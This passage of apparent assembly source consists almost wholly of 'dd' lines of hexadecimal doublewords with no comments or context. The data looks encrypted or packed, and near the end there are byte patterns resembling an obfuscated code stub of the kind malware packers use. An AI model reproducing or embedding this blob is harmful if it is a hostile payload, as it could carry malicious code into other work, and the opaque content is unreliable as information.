7F1B7832h, 0E38C02F8h, 0FFB8C725h, 0D6EE5BA7h, 8B38B294h dd 365A57B2h, 59FE8482h, 5657B1B7h, 1ECAE832h, 56D5BDDBh dd 83758F32h, 0C98A941Bh, 0D64DE49Eh, 5E1A38D0h, 56AEBEDBh dd 8DC3A732h, 0B4B56450h, 0FBA9B8FBh, 78AFFBBBh, 5979F6BBh dd 56BABBB9h, 0B2EBD132h, 56AE3D3Dh, 0BF36B132h, 56ABB134h dd 7FCE869Eh, 3033841h, 0BF75B133h, 56BAB120h, 3A360A45h dd 0BDEB38ACh, 4DD11666h, 0F9CEF73Ch, 96E67BCEh, 56EB353Dh dd 0DC8DB132h, 0FE43B074h, 0F0D8BEB2h, 59AEB132h, 5657B0BBh dd 90A84932h, 5755BECBh, 0AFEAB132h, 0AA7771B1h, 56BAB089h dd 5FD1BE32h, 36AEB132h dd 56573D3Dh, 3753B132h, 0D2DA6A39h, 56EAB110h, 56723E3Dh dd 0D2B5B132h, 565DB133h, 0A6343BCAh, 0AF50549Eh, 59AA52B2h dd 56D5B4BDh, 0E1E5D132h, 9576D0C0h, 5038BE52h, 0D75DB132h dd 0AB2698C1h, 565B5843h, 0A99FB132h, 0E04564E6h, 0C7E8F80Eh dd 0DF14ED5Eh, 0DF46B975h, 303DBD75h, 594748B9h, 8457B132h dd 9E4265D1h, 2390CA62h, 0A55E0BF0h, 0A3149C4Ah, 56BA3EDBh dd 565A5832h, 0A386B132h, 0C20D7E4Ah, 5973461Dh, 56D5BDB1h dd 56ED5832h, 0FB27B132h, 0AA0D91BDh, 0A9784980h, 0BFAEB132h dd 5657B122h, 0A3DE879Ah, 0ED8B9671h, 0ED0CFB52h, 0DB56479Ah dd 0A1467719h, 564D58EAh, 238AB132h, 0DF65F3B9h, 9B3EBB73h dd 5917F9A6h, 9669226Ch, 11FC4D30h, 56B2583Ah, 4045B132h dd 0FE912FD8h, 0DFAB6898h, 0BECBBD75h, 56D5B123h, 10ED074Fh dd 8D210EEEh, 3E931F10h, 0C0B2A1BFh, 9553AA7h, 57DBBE53h dd 0AAABB132h, 56DE58CAh, 68FAB132h, 9D3018D0h, 0C566CB69h dd 5EB4D02Dh, 8AAEB132h, 50010648h, 9FBCE7E4h, 56F73C3Dh dd 0BF8AB132h, 5675B13Fh, 262B8F83h, 73B62514h, 0F1A93C5Bh dd 565E5871h, 8E9BB132h, 52E6EC15h, 370E017Ch, 56793F3Dh dd 0D5B5B132h, 565DB134h, 56AE363Dh, 3694B132h, 0E362063Dh dd 30B5D08Bh, 59853A89h, 5675B3BCh, 37DBD132h, 0DD3CD167h dd 922D48DEh, 85D6D1CEh, 35008291h, 56D35865h, 1771B132h dd 0F7730A16h, 0BFDAD068h, 565DB13Bh, 12D482B9h, 0C244283Ch dd 56AC5894h, 0A443B132h, 8C5DEFF9h, 56755969h, 0D7E0B132h dd 0B0E13BD8h, 4C2EBE35h, 3657B132h, 56ABBCDBh, 0BE1C7232h dd 607F7CCEh, 13CFCCEAh, 0D4B5AEECh, 565DB132h, 0D4A1D153h dd 5657B12Bh, 56ABA5DBh, 3E60D32h, 2C27AE6h, 8B5A12F0h dd 5029C4AEh, 0B688557Bh, 3617D7C5h, 0ECDCD069h, 514DCF4Ch dd 9FE644CBh, 56F83F3Dh, 5B9CB132h, 7ABAB132h, 11C2515Fh dd 44AF99BCh, 14ABD680h, 59AB8EB1h, 56D10DB6h, 18A4D32h dd 52FEB63h, 16EB0954h, 51D6D06Bh, 56AEB8DBh, 27C8CB32h dd 8DE79B60h, 232A8288h, 0BE8AD13Eh, 5675B13Ch, 0E8484ADBh dd 9EEEBA91h, 0A441DDF8h, 370CC938h, 5EDE4E53h, 423CE1CAh dd 73EAB132h, 511A6FA7h, 0CDFA66CBh, 8853F294h, 0EE22D9A0h dd 0BEB3AD45h, 56ABB8D1h, 56D5A1DBh, 4037E832h, 9426E997h dd 3865734Ah, 7BA179D7h, 596EBAE5h, 5657BEB7h, 8920D132h dd 0DDB49487h, 5D034935h, 0A375B132h, 0AFAE76B1h, 0A9A2D6DBh dd 13274DCDh, 0D731D1CEh, 644C9FCh, 8447FB2h, 5A9F4E53h dd 566E313Dh, 59DAB132h, 565DB1BBh, 56A05832h, 0EE6AB132h dd 0BD5AA5ECh, 0FCDCDE72h, 74C10912h, 56675853h, 937EB132h dd 0C0BE0598h, 170BC53h, 0AE8B28F3h, 1FEDAB0Ch, 59DDC4CDh dd 56EAA1B0h, 567E5832h, 42F3B132h, 622732A8h, 0E2EFC52h dd 36604E56h, 0E9640E3Dh, 532C2D1Eh, 5FD35953h, 0DD7AB132h dd 56BAB12Ah, 564F3A3Dh, 5B47B132h, 8F57B132h, 0CFE8961Ch dd 7B48780Ch, 47649FFCh, 0D27A7139h, 56BAB13Ah, 55D658CAh dd 0AF5BB132h, 36ABF4B9h, 8AA00F54h, 56D9333Dh, 5103B132h dd 6F75B132h, 29E0A1E0h, 6F3C991Fh, 302CBE35h, 5957B131h dd 56ABB0BCh, 132A4D32h, 576FBECEh, 0A375B132h, 56BECEB1h dd 5611353Dh, 0D557B132h, 5957BD4Dh, 56ABF0B6h, 0D2DAD132h dd 56EAB136h, 0A4B40F54h, 56BAA1DAh, 51BEC232h, 4A54839Fh dd 634E0BEBh, 0A0F599B7h, 0EF4108FBh, 37B1B4FDh, 5675FDDBh dd 56AA5832h, 466AB132h, 5896DEFBh, 86631B77h, 7F8BB0D4h dd 0A96DACE8h, 36154ECDh, 5674303Dh, 0E046B132h, 53E4D0D0h dd 0AEAEB132h, 0BFAE1AC1h, 0A9544FF7h, 56D5A5DBh, 7219A32h dd 117B7B60h, 2A10AC85h, 99EFFBF6h, 0C0CD73A6h, 462832D3h dd 0CB2FBE37h, 59D5B132h, 56EABFB7h, 0A6F4D132h, 8611B00h dd 565D3D3Dh, 59CFB132h, 5657B6B2h, 0ECCDD132h, 372D6D26h dd 50FACEB1h, 56DB343Dh, 1746B132h, 56443E3Dh, 4247B132h dd 0D657B132h, 6BC3E68h, 74C720C2h, 8A1043CDh, 1A6D7821h dd 0DD43B313h, 303DB575h, 0F63062B3h, 4AD40954h, 5AF43A53h dd 56DF5852h, 0B8F3B132h, 0BA5DA29Fh, 7FD89625h, 0F71A66B3h dd 0BFCFFBF5h, 5657B120h, 88ED58E8h, 7229DE8h, 0AFA601D4h dd 824C7DACh, 0EA5305CDh, 365DB133h, 56AEB4DAh, 4DBC5332h dd 37F0BA4Fh, 36D1F6B9h, 0EEAE47B2h, 6F0E7149h, 4431BE53h dd 365DB132h, 56AEB4DAh, 0C78ED432h, 0ECF1D4EBh, 41516A2Bh dd 5AB53A53h, 90F4D752h, 0BFDB6BF1h, 565DB042h, 20413052h dd 3732D624h, 0AFAFF6B9h, 36D9EEB9h, 373D3AC7h, 5E2A8ACEh dd 5629343Dh, 373DB132h, 5847D160h, 5657B132h, 0BBFEB397h dd 0CFDCFD52h, 0CAFFDB26h, 36144D7Fh, 56BAA0DBh, 0D3C36132h dd 0F011EF31h, 8325284Dh, 84EC725Ch, 372D702Ch, 0BFEEE6B9h dd 5675B13Fh, 0D0379F2Dh, 848E5873h, 5D449420h, 46029A0Ah dd 56ABBDDBh, 57149E32h, 9B51705Bh, 0CF8BD2D8h, 42EFB2D1h dd 565DBBDBh, 6E2E5C32h, 0E0E8DFEBh, 59E82663h, 56D5B6B1h dd 5767BE32h, 0AF75B132h, 0AAB6EEB9h, 0D5A56B19h, 0C57B4D9h dd 56C458CEh, 59CBB132h, 975E4F8Dh, 52AD3A53h, 567B5952h dd 6474B132h, 59FC90EFh, 0D6900F75h, 4ADE0611h, 56AB3D3Dh dd 0BE8FB132h, 56EAB123h, 0E58A58B7h, 418E0E4Eh, 0AC3CDCEDh dd 0B2E3CD1Bh, 5650597Bh, 5E44B132h, 1B043B8Eh, 37B3E8D5h dd 0BF79EEB9h, 56BAB123h, 0D07E30ABh, 17732BDh, 7B1A56A0h dd 0CDBE92CCh, 528A9A17h, 56EAB7DBh, 0FEC5F332h, 0AE3B52A7h dd 59585AB1h, 56AEB0BAh, 0DC544832h, 514BA447h, 56DE343Dh dd 5003B132h, 7B75B132h, 7235D98h, 462232C2h, 7F2BBE31h dd 3657B132h, 0ED90A54h, 56D5BADBh, 96343D32h, 0B2C2A9D8h dd 60827659h, 5BB4F053h, 9BAEB132h, 21AC3D4Bh, 9F34333Bh dd 0B9C7BD1Eh, 308A6819h, 302B3789h, 0DFDB46B9h, 595CB06Eh dd 56AEB0B9h, 0A9EF4432h, 0BF544ECDh, 56D5B139h, 0D385DD78h dd 0FEB0E368h, 0EFCCFBE2h, 565DB137h, 502DBE52h, 0D757B132h dd 50AD22D2h, 805ED777h, 0BF414253h, 5675B135h, 0E1FB3D0Dh dd 0BF57A9D5h, 0A9514D3Fh, 5657BADBh, 58D4D432h, 3ACC9210h dd 8E03B516h, 82F5D152h, 56B25802h, 4B67B132h, 0ABDFA1BDh dd 30364019h, 822F79B3h, 0D6DAD053h, 56EAB137h, 37154852h dd 0DD42D153h, 3694D0CCh, 0BF5C3A54h, 5657B13Eh, 1AE89D74h dd 7A916150h, 21BAC50Bh, 56657353h, 0BFDAE4CBh, 565DB13Ch dd 0DEBDBC66h, 0D88A7001h, 43E7BDB4h, 0AE5EB25Ch, 59063A53h dd 5675B0BEh, 0D8B54432h, 565DB13Fh, 56AEB9DBh, 7D1ADC32h dd 3BE61613h, 0AA1132E5h, 56E63C3Dh, 0DB7AB132h, 56BAB134h dd 565D313Dh, 0A3CEB132h, 5657B1DAh, 0BC2AEB32h, 5133730Bh dd 56EC58CAh, 4C22B132h, 0F83BBB87h, 28230BB9h, 4647B6D4h dd 0D757B132h, 0DCF5A5DFh, 242ED8B9h, 6B4B0EBDh, 652BF8E2h dd 56B158FBh, 6D7FB132h, 249AADD5h, 763F3750h, 569432E4h dd 525F353Dh, 4403B132h, 7675B132h, 0F04EE707h, 884687E4h dd 0D4EE1927h, 842342C2h, 0BFAC3A2Fh, 56D5B13Ch, 65E7C5A6h dd 0DCC3B86h, 0C43E4CD2h, 0A9A1A594h, 30CEBD47h, 37A09A89h dd 36A3C4CDh, 0BF0A3A54h, 56EAB120h, 4B7E64A3h, 72EA9AA4h dd 0DFD102Ah, 995672CBh dd 63672E8h, 52CA59CBh, 37B5B132h, 0D3E57139h, 5675B17Fh dd 56BD323Dh, 0EC3DB132h, 59C5B0D9h, 565C5853h, 7E53B132h dd 793F5069h, 150A9008h, 59723A52h, 56BAB0BDh, 0E33D4D32h dd 5226BE77h, 3057B132h, 37D2028Dh, 56D582DBh, 0D78A4832h dd 0D52A70E9h, 5339BE06h, 0E95DB132h, 15AF54EDh, 42903253h dd 0A99058CEh, 473C4ECDh, 0D1EAB132h, 3B704A38h, 0F5E2E46Dh dd 35909B0Fh, 52D98F9h, 0A3ABF4BBh, 36A7C4CDh, 6D233054h dd 2315D0EEh, 308DD13Ah, 0A9DB66B9h, 0D73BD105h, 30E29BC1h dd 34DC71B3h, 556A5953h, 0AEB5B132h, 5E61BE53h, 5975B132h dd 56BAB3BAh, 5D3CD132h, 1C2ABEF2h, 3657B132h, 56ABA0DBh dd 0F8F1DF32h, 24562189h, 66D4B9E8h, 7E73CBDh, 53B4303Eh dd 40AEB132h, 637CE0D0h, 56AD5853h, 5E83B132h, 8E68297Fh dd 5676F2DBh, 5852D132h, 295DB132h, 0A8358960h, 2481EBB3h dd 2076C86Eh, 0B45FE90Ah, 0AAAF3A53h, 5675BEDBh, 443ECC32h dd 8F702745h, 0A733747Bh, 0F25CE700h, 56ABBFDBh, 272A0632h dd 9B85B580h, 601C8D64h, 6F731236h, 0AFDFBE35h, 59AEB130h dd 5657A4B3h, 56BB5832h, 0D5FCB132h, 0E551EE61h, 8861DC4Ah dd 4C78A4EAh, 0A9A48000h, 5E474D77h, 0E757B132h, 31642A35h dd 0D50CBE41h, 59EAB54Dh, 5675F0B6h, 45534932h, 0CC5DB132h dd 2B87ECA7h, 0BD8EEEB3h, 1D5AC51Ah, 0E3A90034h, 29697B6Eh dd 0D27AB13Eh, 56BAB12Ch, 562D58CAh, 0BFCEB132h, 5657B13Dh dd 0B4C987EDh, 277D9D97h, 0EA34E157h, 0DD9080B2h, 0A902D0E4h dd 36A24ECDh, 0E9A17FB9h, 50BED0EBh, 8CABB132h, 0AA0C37E7h dd 56EF087Eh, 5915B132h, 56BAB3BDh, 0ED843A32h, 561B96BFh dd 36FC4253h, 801E46B3h, 0BFB582F7h, 56EAB123h, 7389B108h dd 0FFF891A6h, 91B778D7h, 5841E973h, 25E8D7E0h, 0AFCAD0BFh dd 0A92BC6DBh, 296944CDh, 0D27AB422h, 56BAB191h, 45D2BE52h dd 0BFAEB132h, 5657B13Ch, 36B5D2F8h, 0F05239A5h, 0C61D5405h dd 0DD1523CAh, 247331CCh, 29DED053h, 0D3A1B722h, 5657B1D6h dd 56ABB7DBh, 0D681C732h, 1742056Bh, 52323ACAh, 56AE5852h dd 3FA2B132h, 60A19BD5h, 2AABD860h, 96428DE4h, 22B1357Dh dd 0DD8C32EFh, 469CD0FDh, 0B4BAB132h, 0EFF13246h, 75BE8097h dd 53454375h, 0DDF7EEECh, 473CBD6Dh, 0B3EAB132h, 99968A1Ch dd 0C9D1CDADh, 0D475884Ah, 128312FAh, 570658CEh, 0BF57B132h dd 56D5B13Dh, 4F94F047h, 6715C83h, 0C0F5B55h, 0DDDCF790h dd 5347B575h, 0E557B132h, 1F25E7BDh, 59D9EEB9h, 56EAAEBAh dd 4FFCBE32h, 0BFBAB132h, 565DB126h, 0D09E13A6h, 0C5B720FCh dd 0F9A2ABF1h, 1FB6DAE2h, 0B85DB34Dh, 56623F3Dh, 4453B132h dd 395DB132h, 1B1BDEAEh, 60A29731h, 7CF3274Ah, 0F4C5BB28h dd 563C58A6h, 479CB132h, 35BAB132h, 0D50D51EAh, 0F70757DAh dd 0E40048B5h, 77CC1C48h, 59D1F6B9h, 56EAB0BFh, 9FE4432h dd 5C38BE3Eh, 365DB132h, 306476B2h, 2E9369B3h, 412DBE53h dd 0BFD5B132h, 56EAB120h, 0D4C34FC4h, 80645BE4h, 746A8C2Ch dd 1B988140h, 97C6234h, 56A25836h, 38FEB132h, 0BE8C768Bh dd 59AD92E1h, 56BABCB6h, 56555832h, 0D57B132h, 5F9CB212h dd 0BD282DACh, 30B5D137h, 0BE33EE88h, 5675B13Bh, 0A831D05Eh dd 43E79CC3h, 36CFEF9Eh, 56573A3Dh, 37CAB132h, 46AA32CEh dd 636FBE31h, 3675B132h, 56BAA2DBh, 0F4C64D32h, 73D3148Fh dd 8E5EFC39h, 6A74D1E4h, 85CD6772h, 56EB333Dh, 3780B132h dd 5B39BE73h, 365DB132h, 56AE333Dh, 0D731B132h, 37526FE5h dd 5E3C6819h, 88EAB132h, 0BFDEFEFFh, 0DF1E1BA7h, 0A35CB06Eh dd 0A9514E8Ah, 9ED6D1CDh, 3A0B934Fh, 1FFE0289h, 5353D045h dd 0AE75B132h, 59531AC1h, 0B25DB132h, 22AF03AEh, 0BEE054Ah dd 0CAE7D4D7h, 33CA3E8h, 36154ECEh, 30B73A54h, 3789398Ch dd 42B44953h, 0DBAEB132h, 1C67878Fh, 9B00A264h, 88F88E8h dd 995A4EC2h, 9FE7AB10h, 56BAB9DBh, 59F1A832h, 8BE265AAh dd 565F7319h, 56AA303Dh, 32CB132h, 36063AC7h, 0D7B43054h dd 1003D7BBh, 92DED08Bh, 4647D1CEh, 0D857B132h, 404421D6h dd 0BD867E75h, 0C3260B98h, 0BFA4268Dh, 56BAB134h, 0E2650472h dd 36CF47CBh, 5657B4DBh, 66E2DB32h, 0DD298AD5h, 0D5E5B977h dd 5675B125h, 0BFDBD152h, 565DB13Ch, 2738026Bh, 0C28EDFB9h dd 3DDAC7D6h, 36B49780h, 66FC0A54h, 6D146FB9h, 0D4B5BD77h dd 565DB16Dh, 139549C7h, 2D0BE22h, 36ABB132h, 0DDB3BC82h dd 132DD0F9h, 5675B1CEh, 56B65832h, 8CC9B132h, 79A72B28h dd 0E13F92D1h, 36CBDE06h, 56D53B3Dh, 5103B132h, 2C75B132h dd 42E597CFh, 373C8F72h, 56AE8EDBh, 5DBFD132h, 72ABB132h dd 0C13C9CD4h, 89950D79h, 0E17AA837h, 36DBE8F3h, 913C7EB9h dd 56AF4D77h, 0BFAFB132h, 56ABB12Ah, 56C73D3Dh, 0BE8AB132h dd 5675B138h, 1ED7D5D9h, 4E2FEB97h, 37F6D89Dh, 59374D53h dd 0C61B4A85h, 0AA903A53h, 56EABCDBh, 9EB00332h, 0F90DA8EEh dd 32E3FCCCh, 0AA67EF24h, 565B73CAh, 0D7A44952h, 56D5B134h dd 56EA3A3Dh, 314B132h, 56B4373Dh, 5FB4B132h, 2AEB132h dd 9C63851Ch, 65990DE2h, 56D5BEDBh, 28809E32h, 0AE2153Eh dd 56DE519Eh, 95F0AFB4h, 0BFCE5DB9h, 5657B13Ah, 0D68FC9B6h dd 560436BBh, 0AA2E3253h, 567C3A3Dh, 0AEDAB132h, 0C4A747B3h dd 0AECFD656h, 565E5852h, 0D609B132h, 5C579395h, 0BE68E55Ah dd 5675B132h, 9E503068h, 365A57FAh, 56AB323Dh, 0D731B132h dd 479ADCh, 378C46B9h, 56F8303Dh, 5B9CB132h, 58BAB132h dd 723EE927h, 0D3CE4D7Fh, 0B5BAA767h, 0AF6282CAh, 5D3C6A01h dd 0CBEAB132h, 0D513B136h, 4ADFC414h, 0BD4E200h, 56A258CEh dd 0C064B132h, 0AD7DC4C3h, 8361B573h, 0EC615DC2h, 5193CF4Ch dd 56BAA5DBh, 4C6A1432h, 98D46CA7h, 308EB14Fh, 44994468h dd 0A4901777h, 56D532AAh, 5498353Dh, 0D7DAB132h, 6674FCFAh dd 56BA5977h, 0A796B132h, 28104D3Ch, 205E48E1h, 0DA9E849Ch dd 21628D56h, 0FE91037h, 69DED06Ch, 612BBECDh, 0BF57B132h dd 56ABB126h, 27C9A321h, 0DB9C2963h, 27CF306Ch, 94AB13D5h dd 42BD0D0Ch, 0A3BA76B1h, 0A9F058CEh, 51424ECDh, 94D5B132h dd 9F0062D3h, 0D71542B3h, 0DB9BDEF2h, 29DED07Ch, 0D2A1B136h dd 5657B174h, 56BF3A3Dh, 593CB132h, 9EAB132h, 8C41F5AAh dd 0DB722D88h, 0ABBB85C2h, 292D5F48h, 0D258B13Eh, 56ABB110h dd 56C6333Dh, 0BE8AB132h, 5675B139h, 4BE75096h, 0EC5AEB3Ah dd 0DEAB9B5h, 56155853h, 0E0CBB132h, 132AD02Bh, 5769BECEh dd 0AA75B132h, 427D32CEh, 564D343Dh, 5D47B132h, 0D757B132h dd 25FA2B60h, 0AB799683h, 0BF13364Ah, 0A98A4E2Bh, 56BABEDBh dd 62C60F32h, 3DBDA7D1h, 2FE57596h, 0C4C020E9h, 53C5CEB1h dd 5672353Dh, 0BF15B132h, 56BAB13Eh, 1BA6A3B2h, 5887BD4Bh dd 0B047FF16h, 31799F8Dh, 0D52DD035h, 59ECA14Dh, 567502B7h dd 56A95832h, 2924B132h, 0A943CBC0h, 2F2AA0A5h, 80E81F6Eh dd 0E649BDBh, 0DD12F00Dh, 0DA7AB575h, 56BAB13Bh, 0EFAF3A52h dd 5F00E2Ah, 5A083A53h, 4B424DCBh, 36D5B133h, 56F83A3Dh dd 5A9DB132h, 0F3BAB132h, 0BDDFAC6Dh, 9B272749h, 0C2672F2h dd 56ABB4DAh, 0C8368D32h, 42025384h, 8575B132h, 3481CECAh dd 0B4F9C847h, 0B396A75h dd 48963311h, 9C9D384h, 115ED069h, 0AE16D136h, 5A2A3A53h dd 56A7373Dh, 0BF3DB132h, 56AEB126h, 66BB425Ah, 0BB801852h dd 597175D4h, 4B573BB2h, 6490A99Ah, 0BFDB4AB9h, 565DB134h dd 0BC4918F6h, 0D9BEB907h, 0AFABB132h, 59D1F6B9h, 56EAA8B3h dd 56615832h, 0AC12B132h, 0F101B1E8h, 0B8A163ACh, 0CC115CB9h dd 0B1D6AEDFh, 453CD64Ch, 65EAB132h, 0FC97283Dh, 0FF405079h dd 9A776BFh, 8C9AF5AAh, 9DC2D88h, 0E1A4D13Eh, 0EDB3D1ECh dd 5D035BF0h, 0AB75B132h, 8A6ED9B8h, 0ADC33FD7h, 37CF767Bh dd 0BF53EE19h, 56ABB13Dh, 7A4170EAh, 2625DF1Bh, 59995E6h dd 0D59ACF04h, 0D5A8B4D9h, 59ADA14Dh, 5657A0B7h, 0BFEA4832h dd 56D5B138h, 5B452D9Dh, 1976357Eh, 8F915E33h, 565DBADBh dd 7E6F1532h, 865ADA48h, 9D50A10Bh, 57D4EDBBh, 56F33B3Dh dd 429CB132h, 6EBAB132h, 63339E2Ch, 0BDA8A406h, 0E2EFB26Dh dd 45E6744Bh, 0EE2C1BFAh, 0A9154ECDh, 567008CAh, 0BEDAB132h dd 565DB123h, 41B8CE8Fh, 7F309493h, 4ED627F5h, 0A0485992h dd 0D7B048BCh, 585419FAh, 0FD49D073h, 565C383Dh, 0BF52B132h dd 0A9A84C1Bh, 56B2383Dh, 423CB132h, 46EAB132h, 7AD91993h dd 9381C9B3h, 855407D5h, 0CF700640h, 374C2331h, 0A41CBE52h dd 0DD8BE052h, 0DD8BD0FDh, 0DD154D77h, 8D05BEFAh, 0D3527853h dd 56AEB133h, 0DB5872CBh, 56ABB133h, 72DE1CAh, 0EF8C4952h dd 361488D2h, 0B33377B3h, 0B0DCDBFFh, 2638DFA8h, 5FBEE253h dd 42ABB132h, 0BF0AC205h, 0A36AD163h, 5675B1DAh, 0BC3BEB32h dd 51BB7DBBh, 5825BEC7h, 0BF57B132h, 56ABB13Bh, 0D2B7C950h dd 7FA79AFBh, 0FEF3CBFh, 36BD574Dh, 37843A54h, 56CA09CEh dd 5FBEB132h, 0DFABB132h, 3BB343E1h, 0CC628570h, 567048DAh dd 56BD5832h, 6A1DB132h, 0A42B26E1h, 365C3AEAh, 6E152B2h dd 6DB4EACAh, 4603D1F3h, 875B132h, 87B1F8D5h, 536F376Eh dd 37D22C0Ch, 0BE8A7BC9h, 56ABB13Ch, 0E8992EEDh, 6FCA8067h dd 7846CEF2h, 42522B6Bh, 0F05DB132h, 1215C33Dh, 6327E71Bh dd 0D91D4494h, 83F68F01h, 0D7106E7h, 999CD068h, 36BAB132h dd 565DA3DAh, 12EC6C32h, 0C1B0FDA4h, 9E618DBBh, 0D8C22C49h dd 0BF030F4Ah, 5675B135h, 88FE7B22h, 93FCD7Ah, 5620BE52h dd 3757B132h, 52E0B253h, 599A0B52h, 0D78CB15Ah, 37A438C4h dd 56BF5852h, 9C0EB132h, 0D66506B7h, 6D36DFD0h, 0F929BEF3h dd 59D5B132h, 56EAA7B1h, 46F5BE32h, 0BFBAB132h, 565DB139h dd 0D073F873h, 5C970F23h, 36C1309Ch, 55B44DB8h, 0D4E5A179h dd 5675B133h, 978148CEh, 5677333Dh, 5847B132h, 0F457B132h dd 0B338B3B1h, 1F421629h, 5629B0E9h, 565F58DDh, 0D4B5B132h dd 565DB13Eh, 56A83C3Dh, 0DD58B132h, 56ABB132h, 56D5C7DBh dd 0E98CD132h, 5E9C87C0h, 3ABAB132h, 883B94D4h, 373BF048h dd 5657EFDBh, 0CC264932h, 5132718Eh, 56EB3F3Dh, 0A98CB132h dd 0B30DD1E1h, 0CDF171B3h, 0BFCFD52Fh, 5657B10Dh, 0BF693A52h dd 56D5B13Fh, 5DC31296h, 9F4861C3h, 2F8E48A0h, 0CCD0D077h dd 514972D0h, 5657A5DBh, 0EBAE7A32h, 9AAA82CCh, 0C94CEE1Ah dd 22BD5CBFh, 0B16F7463h, 368E4EB4h, 816C3054h, 0D3649EFh dd 56ABB4DBh, 0CE62ED32h, 0AAB39C1Eh, 0BFB6496Ah, 56BAB121h dd 1FF46F35h, 36ACAF47h, 19419679h, 2C95E948h, 318C393h dd 56EABFDBh, 0F7FD5032h, 465C0082h, 77892BCh, 0DD7ED256h dd 56BF4DDEh, 0CABB132h, 984E5BB3h, 0DAE5B6D4h, 5675B125h dd 56BAA3DBh, 9135A232h, 0B6C7FF9Dh, 0EC91C09h, 1D8E0C10h dd 0AA5FAB98h, 5E6EBE52h, 5975B132h, 56BAB3BDh, 0DB3CD132h dd 0B0D1E888h, 40DDBE35h, 59ABB132h, 56D5A1B0h, 56E15832h dd 0A0D5B132h, 68ABB799h, 68CEDCC3h, 5EEB3A31h, 56563C3Dh dd 0AE5EB132h, 0DCDAB6BBh, 56EAB135h, 56743C3Dh, 0DD46B132h dd 0D152BD77h, 56AEB133h, 521038CBh, 56ABA5DBh, 76F30532h dd 744183D6h, 0B27A796Ch, 37F95E31h, 0CAD56742h, 46EB3A04h dd 54D3BE52h, 0DDABB132h, 115CD0CCh, 0DD8CD13Eh, 0DEB131FDh dd 4731BE53h, 0BF5DB132h, 56AEB13Eh, 0D5B9861Bh, 0DE79705Ch dd 0C6536BCAh, 0A3FEF4B9h, 0AE65F6BBh, 8E31D153h, 565B3A3Dh dd 0DCA1B132h, 5657B132h, 0D4A47853h, 56D5B112h, 56F95852h dd 89DFB132h, 6CEBB2B4h, 193897C1h, 0C19C89E1h, 8B516E18h dd 8740309Fh, 37FA59C5h, 56F13E3Dh, 0BF15B132h, 56BAB121h dd 305460Fh, 6468B5D9h, 639E3777h, 682E2A87h, 0AFB21A2Fh dd 56FA7353h, 300F0552h, 0A1ED63B3h, 90A8D153h, 0B6A9E8B7h dd 0BF37F635h, 56ABB13Eh, 0E7827F86h, 0A5008CD1h, 4BACA8E4h dd 50503054h, 4C35D0DCh, 0A306A641h, 5657BBDBh, 44D34332h dd 2CB53AF1h, 0A96E2141h, 0B65C9C87h, 0D3374835h, 51BECEDAh dd 56AF3A3Dh, 0BFAFB132h, 56ABB123h, 819C475h, 0F506E540h dd 3DC94683h, 95D3326Dh, 0BF8D4E5Ah, 56AEB138h, 271A3251h dd 0DE8A63A2h, 443CFE53h, 18EAB132h, 0D927252Dh, 0E73A8DADh dd 0EAB1AEE4h, 3D9166BCh, 0DF58E362h, 56ABB126h, 56D5BEDBh dd 0C7283332h, 9316769Eh, 67FC63ADh, 930E2041h, 0D7A83BBFh dd 7AFB6D4h, 56B73E3Dh, 30B5B132h, 545A40B3h, 5675A1DBh dd 907BAB32h, 12A09127h, 3A003EC9h, 48DA0761h, 0A95ED0D8h dd 302CD1E2h, 37480D8Dh, 5663353Dh, 0D6B5B132h, 565DB122h dd 56AEBADBh, 0FBE06632h, 0F81F1650h, 2F699CB9h, 4268BE68h dd 0BF75B132h, 56BAB13Dh, 0F42ABF08h, 0D80F8FF3h, 5537FB50h dd 0DB7891B9h, 0B054B7B0h, 59BCD135h, 0DD2C7985h, 0E1B5D0F4h dd 0BF3DBD72h, 56AEB13Fh, 3D8E6E11h, 0D2D05028h, 24AF98B2h dd 0E88CD14Ah, 0E17A4BEFh, 0DDDBD0ECh, 565658EAh, 7101B132h dd 77741BB8h, 0B74EA0DDh, 0BF8749FEh, 56EAB13Bh, 0EE3E3253h dd 46802D9Eh, 5BB5D180h, 9AEB132h, 0BCCDB4A4h, 96EA2EB8h dd 6640FE05h, 56EAA3DBh, 2971F332h, 0A6505965h, 565EB19h dd 85300710h, 0E28DFABh, 0BF9ABE53h, 56D5B13Eh, 5C69DB80h dd 0CC7451DDh, 3E9A4B5Ch, 0E6A5D168h, 95ADD0CBh, 0D8584452h dd 56ABB131h, 37140E3Dh, 4F6733BBh, 0D47AB6D2h, 56BAB120h dd 565DBCDBh, 13338032h, 0E53AA095h, 646798D8h, 36B41811h dd 8061D752h, 0DC1D0C7h, 51F57253h, 13E9h, 0F2E5D800h dd 8BC31278h, 90737A60h, 18E28784h, 0CC91623Fh, 148C0F52h dd 60000000h, 0E9C18B66h, 0Ah, 69447BA1h, 0E767C34Eh, 0E861F788h dd 0 dd 0E4EA815Ah, 6007E6D1h, 14E9h, 968BD900h, 51FC2CD9h dd 25624BFDh, 0B029467Ah, 4525CFC9h, 850F617Fh, 1, 8BF952F9h dd 0E0198D82h, 6DB9F807h, 0F941C64Eh, 5E960h, 8AB0000h dd 8B465F08h, 0E1F761F7h, 0AE9h, 9AF01300h, 0AD8DDFF7h dd 5A5BE270h, 9840Fh, 66600000h, 661A88BBh, 6061F98Bh dd 959CCE81h, 0F38B6EA5h, 30390561h, 840F0000h, 1, 0FFFF25F5h dd 0E9607FFFh, 6, 2EB18851h, 0F2819B8Fh, 179BF961h, 8D828961h dd 0E907E019h, 0Ah, 62FE0A70h, 39B998DAh, 5AFC9D3Fh, 820F59F9h dd 1Ah, 148F0Fh, 0FE90000h, 0B9000000h, 84FDE05Bh, 9914A692h dd 5873A2A9h, 0FC3C9E1h, 986h, 8E0F6000h, 0 dd 0F5161F9h, 784h, 1870F00h, 0F5000000h, 18B0Fh, 52F50000h dd 0E8FCh, 815A0000h, 0E6D2DEEAh, 7870F07h, 60000000h dd 26D1F7BBh, 800F6150h, 19h, 14E9h, 75136800h, 0E53E9D20h dd 60B142D8h, 987E5E20h, 9986951Dh, 0FC88B1Bh, 0B81h, 0C8816000h dd 1BDDC1A6h, 61FEBF0Fh, 0FFFE82E8h, 8B0F60FFh, 3, 8BCE8B66h dd 870F61CBh, 4, 61616060h, 7E9D233h, 0EF000000h, 0B27A6978h dd 0F1F7E81Fh, 0E9C28BF5h, 10h, 0CA30B62Ch, 62786264h dd 4D2BC984h, 8C478D29h, 6059F95Ah, 0EE960h, 0CC180000h dd 678A4273h, 0F5E6BC84h, 440AB6F6h, 12E8h, 3A162800h dd 0CABB3872h, 0A38E909Dh, 250583DBh, 5EC2BE03h, 74C48061h dd 5E9C361h, 0B1000000h, 81A2B796h, 0FC08BF8h, 186h, 0C08BFC00h dd 